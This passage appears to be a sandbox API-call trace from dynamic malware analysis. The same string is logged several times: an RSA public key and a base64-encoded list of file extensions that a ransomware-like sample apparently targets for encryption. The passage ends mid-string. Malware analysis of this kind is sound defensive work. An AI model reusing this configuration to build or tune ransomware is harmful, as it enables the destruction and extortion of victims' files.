(lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.129] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.129] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.129] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBi